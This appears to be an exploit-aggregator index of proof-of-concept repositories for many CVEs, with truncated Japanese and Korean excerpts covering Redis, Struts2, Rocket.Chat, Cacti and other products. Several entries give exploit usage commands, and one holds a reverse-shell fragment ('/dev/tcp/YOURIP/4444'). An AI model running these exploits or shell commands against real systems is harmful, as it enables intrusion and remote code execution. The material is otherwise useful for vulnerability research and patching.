CVE-2022-0543

CVE-2022-0543 CVE-2022-0543RCE,Redis Luaサンドボックスバイパス コマンド実行 Usage python3 CVE-2022-0543.py...

ThemeBleedPy

gabek が C による初期 PoC を作成し、実際にこの CVE を発見してくれたことに多大な感謝を捧げます。これは彼のコードを Python でリメイクしたもので、彼のステージファイルを再利用しています。 初期 PoC を見るには、彼のページはこちら: https://github.com/gabe-k/themebleed ThemeBleedPy CVE-2023-38146 "ThemeBleed" に対する Python を使用した概念実証 PoC です。 要件: このプログラムは Impacket の SMB サーバー を使用し、smb2Create...

CVE-2024-4879

CVE-2024-4879 Exploit & PoC - Nuclei テンプレート CVE-2024-4879 - ServiceNow における Jelly テンプレートインジェクションの脆弱性 ServiceNow は、Vancouver および Washington DC Now Platform リリースで特定された入力検証の脆弱性に対処しました。この脆弱性により、認証されていないユーザーが Now Platform のコンテキスト内でリモートからコードを実行できる可能性があります。ServiceNow...

CVE-2022-24112

CVE-2022-24112: Apache APISIX リモートコード実行の脆弱性 root@kitploit: go run apisix-exploit.go -t -c 参照: https://nvd.nist.gov/vuln/detail/CVE-2022-24112 https://lists.apache.org/thread/dzmgf0bwfmt58rfbz611gqo2b56qyqwq...

CVE-2020-17530

S2-061 これらのスクリプトは、vulhub の struts2-059/061 脆弱性テスト環境に基づいて作成されています。汎用的なものではないため、先輩方のご指導をお願いいたします。 struts2-061-poc.py（簡易システムコマンド実行可能） 使用方法：python struts2-061-poc.py http://ip:port command 例：python struts2-061-poc.py http://192.168.0.7:8080 whoami S2-061-shell.py（リバースシェル取得可能） 使用方法： 1. まずマシン A...

CVE-2021-32099

CVE-2021-32099 PoC このリポジトリは、Pandora FMS 742 に影響を与える CVE-2021-32099 の脆弱性に対する Proof of Concept PoC エクスプロイトを提供します。このエクスプロイトは、認証されていない攻撃者がSQLインジェクションの脆弱性を悪用して、非特権セッションを管理者レベルのアカウントに昇格させる方法を示しています。管理者アクセスを取得すると、攻撃者はPandora FMSのファイルマネージャーを介して任意のPHPファイルをアップロードでき、リモートコード実行につながり、Webサーバーユーザーとしてサーバーを侵害します。 ...

CVE-2021-22911-RocketChat

CVE-2021-22911 — Rocket.Chat 3.12.1 RCE（即興） 概要 Rocket.Chat 3.12.1 の認証前のNoSQLインジェクションの脆弱性を悪用して、管理者のTOTPシークレットとパスワードリセットトークンを漏洩させ、管理者アカウントを乗っ取り、悪意のあるWebhook統合を介してRCEを達成します。 影響を受けるバージョン Rocket.Chat & /dev/tcp/YOURIP/4444 0&1' 引数...

CVE-2021-2109

説明 Oracle Fusion Middleware の Oracle WebLogic Server 製品（コンポーネント: Console）における脆弱性。影響を受けるサポート対象バージョンは、10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 です。容易に悪用可能な脆弱性により、ネットワークアクセス権を持つ高権限の攻撃者が HTTP を介して Oracle WebLogic Server を侵害する可能性があります。この脆弱性の攻撃が成功すると、Oracle WebLogic Server...

threatDemos

🚨 Android セキュリティ脅威デモンストレーションリポジトリ 概念実証の Android セキュリティ脆弱性と攻撃ベクトルの包括的なコレクション このリポジトリは、実際の Android セキュリティ脅威 とその緩和戦略 を示す教育リソースとして機能します。各デモには、実用的なコード例、詳細な攻撃ベクトル、およびセキュリティコントロールが含まれており、開発者が本番アプリケーションでこれらの脆弱性を理解し防止するのに役立ちます。 ⚡ このリポジトリは積極的にメンテナンスされ、継続的に拡張されています 🎯 リポジトリの目的 🔍 実際の Android 脆弱性の実証...

CVE-2023-38408

OpenSSHの脆弱性 - CVE-2023-38408 📚 はじめに...

dompurify: DOMPurify: Cross-site scripting vulnerability allows code execution

A flaw was found in DOMPurify, a tool designed to sanitize HTML, MathML, and SVG to prevent cross-site scripting XSS attacks. When performing in-place sanitization, DOMPurify could fail to properly process content within shadow DOM elements attached to a .content. This oversight allows an attacke...

CVE-2022-24734

CVE-2022-24734 PoC RCE는 MyBB의 관리자 제어판Admin CP에서 구성Configuration - 새 설정 추가Add New Setting에서 얻을 수 있습니다. 사용자는 설정을 추가하거나 업데이트할 권한이 있어야 합니다. 이는 MyBB 1.8.29에서 테스트되었습니다. 출처: https://github.com/mybb/mybb/ https://vulners.com/cve/CVE-2022-24734...

CVE-2021-22911

CVE-2021-22911 Rocket Chat 3.12.1 における、リモートコード実行に繋がる未認証ブラインド NoSQL インジェクション getPasswordPolicy メソッドは NoSQL インジェクション攻撃に対して脆弱であり、認証・認可を必要としません。パスワードリセットトークンを漏えいさせることでアカウントを乗っ取るために使用される可能性があります。管理者アカウントを乗っ取ると、リモートコード実行に繋がります。 解説 1. ユーザーアカウントの乗っ取り（未認証） getPasswordPolicy エンドポイントのパスワードリセット token パラメータには...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169 Cacti remoteagent.php の認証なしコマンドインジェクション。 認証バイパス 認証をバイパスするには X-Forwarded-For ヘッダーを追加します。値は固定ではないことに注意してください。 ブルートフォース Burp Intruder を使用して、hostid と localdataids の値をファズテストします。 RCE コマンドインジェクションのポイントは pollerid パラメータです。...

CVE-2021-25641-Proof-of-Concept

破滅の0xDABB - CVE-2021-25641-概念実証 Apache/Alibaba Dubbo = 2.7.3 向けの CVE-2021-25641 RCE の PoC コード。信頼できないデータのデシリアライゼーションによるリモートコード実行です。異なるガジェットで = 2.7.6 のバージョンに影響します。 詳細は、Checkmarx ブログに公開された記事「破滅の0xDABB」で解説されています。 https://www.checkmarx.com/blog/technical-blog/the-0xdabb-of-doom-cve-2021-25641/...

CVE-2023-26262

Sitecore 10.3 認証済みファイルアップロード脆弱性 著者: Thomas Stern 日付: 2023年1月26日 概要 言語インポート機能を介して任意のファイルをアップロードすることが可能です。このファイルはWebシェルとなり、サーバー上でコードを実行できるようになります。 再現手順 この脆弱性をテストするために、Dockerを使用してローカルマシンにSitecore 10.3インスタンスを起動しました。 この脆弱性は以前のバージョンのSitecoreではテストされていませんが、古いバージョンでも同じ手法で脆弱性が存在する可能性があります。 環境情報 ホスト: Window...

CVE-2026-45447

🚨 CVE-2026-45447 - 치명적인 OpenSSL Use-After-Free 취약점 PKCS7verify의 힙 사용 후 해제Use-After-Free로 인해 메모리 손상, 충돌 및 잠재적인 원격 코드 실행이 발생할 수 있습니다. 📖 요약 CVE-2026-45447 은 OpenSSL의 PKCS7 검증 기능 에서 발생하는 치명적인 취약점입니다. 이 결함은 PKCS7verify 코드 경로에 존재하며, 비정상적인 ASN.1 구조를 포함하는 특수하게 조작된 PKCS7 또는 S/MIME 서명 메시지를 통해 실행될 수 있습니다...

asa_tools

Cisco ASA RCE 検証 このスクリプトは、CVE-2016-1287 の存在を確認するために使用できます。 実行には python3 と python の hexdump モジュールのインストールが必要です。 root@kitploit: $ sudo pip3 install hexdump 以下のように実行できます。 root@kitploit: python3 cisco-asa.py IP.IP.IP.IP:port...

CVE-2017-10271

CVE-2017-10271 사용법: CVE-2017-12149.py http://targetip:port/ WEBLOGIC RCE는 Windows에서만 작동합니다. Linux를 위해 코드를 약간 수정할 수 있습니다...

CVE-2025-47812-poc

CVE-2025-47812 Wing FTP Server 원격 코드 실행 RCE 익스플로잇 CVE-2025-47812 📌 크레딧 : 취약점 발견: Julien @MrTuxracer. 이 PoC 구현은 그들의 원본 연구를 기반으로 합니다. 이 저장소는 Wing FTP Server 원격 코드 실행 RCE 취약점 CVE-2025-47812 에 대한 Python 익스플로잇을 호스팅합니다. 이 심각한 결함으로 인해 공격자는 익명 접근이 활성화된 경우에도 영향을 받는 Wing FTP Server 인스턴스에서 root/SYSTEM 권한으로 ...